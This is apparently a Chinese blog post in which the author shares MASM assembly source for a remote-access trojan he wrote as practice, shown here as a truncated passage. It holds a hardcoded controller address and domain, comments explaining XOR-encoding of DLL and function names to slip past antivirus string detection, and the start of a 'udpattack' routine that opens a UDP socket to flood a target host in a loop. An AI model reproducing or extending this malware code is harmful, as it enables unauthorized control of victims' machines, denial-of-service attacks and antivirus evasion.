自己前几天用MASM写的一个远控

  • Post author:
  • Post category:其他




最先是在看雪发的  新开空间我也没啥东西 只能拿这个凑数了

;作者:落笔飞花笑百生

;日期:2014/12/20

;用处:练手

;写一个程序虽然很烂但是确实能学到很多,用汇编写程序能逼迫自己去学习以前高级语言中容易忽略的东西虽然还是不够。

;但是至少脱离了只能用别人封装好的库来写程序的恶性循环

;这个程序也没有了写下去的意思,该解决的都解决了我实在想不出来再写他具体能得到什么

;本来想把自己实现的getFUNCaddress加进去的,也没有这样做。

;DLL名称和函数名称由于直接这样写会被某些弱智杀软杀字符串没办法只能xor简单加密一下然后取地址再动态解密一下 这样过了表面

;二次开发的人注意:xor第一个字符不加密的

include androidprotect.inc

.code

dipx byte  “192.168.0.101”,0

;dipx byte “anyou5.com”,0

ganraoz proc

ret

ganraoz endp

_CalcCheckSum   proc        _lpsz,_dwSize

local   @dwSize

pushad

mov     ecx,_dwSize

shr     ecx,1

xor     ebx,ebx

mov     esi,_lpsz

;********************************************************************

; 数据包校验和为每 16 位累加

;********************************************************************

cld

@@:

lodsw

movzx   eax,ax

add     ebx,eax

loop        @B

;********************************************************************

; 最后如果有单 8 位则继续累加

;********************************************************************

test        _dwSize,1

jz      @F

lodsb

movzx   eax,al

add     ebx,eax

@@:

;********************************************************************

; 将高 16 位并入低 16 位后取反输出

;********************************************************************

mov     eax,ebx

and     eax,0ffffh

shr     ebx,16

add     eax,ebx

not     ax

mov     @dwSize,eax

popad

mov     eax,@dwSize

ret

_CalcCheckSum   endp

udpattack proc

invoke m_socket,AF_INET, SOCK_DGRAM, 17

mov udpsock,eax

mov udpSin.sin_family, AF_INET

invoke gethtons,udpport

mov udpSin.sin_port,ax

invoke m_gethostbyname,offset udpip

mov eax,[eax+12]

mov eax,[eax]

mov eax,[eax]

invoke m_inet_ntoa,eax

invoke m_inet_addr,eax

mov udpSin.sin_addr.S_un.S_addr,eax

invoke m_setsockopt,udpsock,SOL_SOCKET,SO_SNDBUF,offset udpbuf,sizeof udpbuf

.while byte ptr [uptrue]==1

invoke GetTickCount



版权声明:本文为qq_18942885原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。